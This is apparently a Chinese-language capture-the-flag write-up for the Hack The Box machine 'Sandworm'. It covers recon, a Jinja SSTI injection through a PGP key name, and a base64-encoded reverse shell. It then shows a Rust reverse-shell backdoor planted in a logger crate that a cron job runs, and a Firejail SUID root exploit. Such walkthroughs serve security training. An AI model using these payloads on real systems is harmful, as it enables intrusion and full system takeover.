Sandworm

57

Machine:Linux

Level:Medium

信息收集

Nmap

└─# nmap -sV -sC -A 10.10.11.218 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 09:00 GMT
Nmap scan report for ssa.htb (10.10.11.218)
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
|_http-title: 400 The plain HTTP request was sent to HTTPS port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 5.3 - 5.4 (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT       ADDRESS
1   261.10 ms 10.10.14.1
2   261.22 ms ssa.htb (10.10.11.218)

dirsearch

└─# dirsearch -u https://ssa.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 500
[09:23:42] Starting: 
[09:24:00] 200 -    4KB - /login                                           
[09:24:04] 200 -    3KB - /contact                                         
[09:24:05] 302 -  225B  - /view  ->  /login?next=%2Fview                   
[09:24:05] 200 -    5KB - /about                                           
[09:24:05] 302 -  227B  - /admin  ->  /login?next=%2Fadmin                 
[09:24:06] 200 -    9KB - /guide                                           
[09:24:11] 200 -    3KB - /pgp                                             
[09:24:16] 302 -  229B  - /logout  ->  /login?next=%2Flogout                
[09:24:23] 405 -  153B  - /process

手工验证信息

​ 在/pgp中给了个pgp公钥,可以在/guide页面得到私钥,也可以利用公钥对网页下面的签名信息进行验证,我们尝试自己生成公钥和签名看看哪里有突破口。经过尝试我们在生成公私钥时填写的name会在gpg: Good signature from前后出现,我们将name更改为{{1+1}}后显示的是2发现存在SSTI注入漏洞,接下来验证此漏洞是否能被利用。当name={{g.pop.__globals__.__builtins__['__import__']('os').popen('pwd').read()}}时得到/var/www/html/SSA,接下来尝试反向shell

反弹shell

​ 将name填写为反向shell的语句{{g.pop.__globals__.__builtins__['__import__']('os').popen('echo "ZWNobyAic2ggLWkgPiYgL2Rldi90Y3AvQXR0YWNrLUlwL1BvcnQgMD4mMQ==" |base64 -d| bash').read()}}

权限提升

​ 在/home路径下我们知道有两个用户但明显silentobserver下的文件我们无法读取,先在atlas下看看有没有什么有用的。在路径下的admin.josn发现silentobserver的账密。

atlas@sandworm:/home$ ls
atlas  silentobserver
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json 
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": [delete],
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}

​ 切换为silentobserver账户。 发现一个在/opt/tipnet 下,以 atlas 用户的身份,运行离线模式下的 Rust 项目的定时项目。

2023/08/11 11:22:01 CMD: UID=0     PID=15054  | /usr/sbin/CRON -f -P 
2023/08/11 11:22:01 CMD: UID=0     PID=15057  | sleep 10 
2023/08/11 11:22:01 CMD: UID=0     PID=15056  | /bin/sh -c sleep 10 && /root/Cleanup/clean_c.sh 
2023/08/11 11:22:01 CMD: UID=0     PID=15058  | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/08/11 11:22:01 CMD: UID=0     PID=15060  | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/08/11 11:22:01 CMD: UID=1000  PID=15061  | /bin/sudo -u atlas /usr/bin/cargo run --offline 

​ 查找下特权文件:find / -perm -4000 -type f 2>/dev/null,发现两个可疑文件。

silentobserver@sandworm:~$ find / -perm -4000 -type f 2>/dev/null
/opt/tipnet/target/debug/tipnet
...
/usr/local/bin/firejail
...

​ 在/opt/目录下发现cratestipnet目录,目录下包含各自的源码信息,其中tipnet引入了extern crate logger。在上面的定时任务中使用了e,我们对其跟踪发现其会调用logger中的log函数。

silentobserver@sandworm:/opt/tipnet/src$ cat main.rs
extern crate logger;
...
fn main() {
...
    let mode = get_mode();
    
    if mode == "" {
      return;
    }
    else if mode != "upstream" && mode != "pull" {
        println!("[-] Mode is still being ported to Rust; try again later.");
        return;
    }

    let mut conn = connect_to_db("Upstream").unwrap();

    if mode == "pull" {
        let source = "/var/www/html/SSA/SSA/submissions";
        pull_indeces(&mut conn, source);
        println!("[+] Pull complete.");
        return;
    }

...
}

fn get_mode() -> String {

  let valid = false;
  let mut mode = String::new();

  while ! valid {
    ...
    match mode.trim() {
      ...
      "e" => {
       println!("\n[!] Refreshing indeces!");
       return "pull".to_string();
      }
      ...
    }
  }
  return mode;
}
...
fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
...
    logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");

}

​ 我们将反向shell写入lib.rs并监听相关端口

silentobserver@sandworm:/opt/crates/logger/src$ cat lib.rs

pub fn log(user: &str, query: &str, justification: &str) {
    let sock = TcpStream::connect("10.10.14.14:666").unwrap();
    let fd = sock.as_raw_fd();
    Command::new("/bin/bash")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    ...
}

​ 当我们成功反向shell时可以发现,成功获得atlas权限并且具有jailer权限。我们将id_rsa.pub上传至.ssh下并改名为authorized_keys,这样我们就可以利用公私钥方便登录了。

atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)

​ 在之前的查找root权限的文件时,发现有一个/usr/local/bin/firejail,其有Firejail suid bit priv esc - Exploit,但由于当时没有jailer权限无法执行,现在我们执行这个文件并根据其提示获取root权限。

atlas@sandworm:~$ python3 exploit.py 
You can now run 'firejail --join=6974' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
atlas@sandworm:~$ firejail --join=6974
changing root to /proc/6974/root
Warning: cleaning all supplementary groups
Child process initialized in 6.84 ms
atlas@sandworm:~$ sudo su -
atlas is not in the sudoers file.  This incident will be reported.
atlas@sandworm:~$ su -
root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)

Online PGP Signature Tool :http://www.2pih.com/pgp.html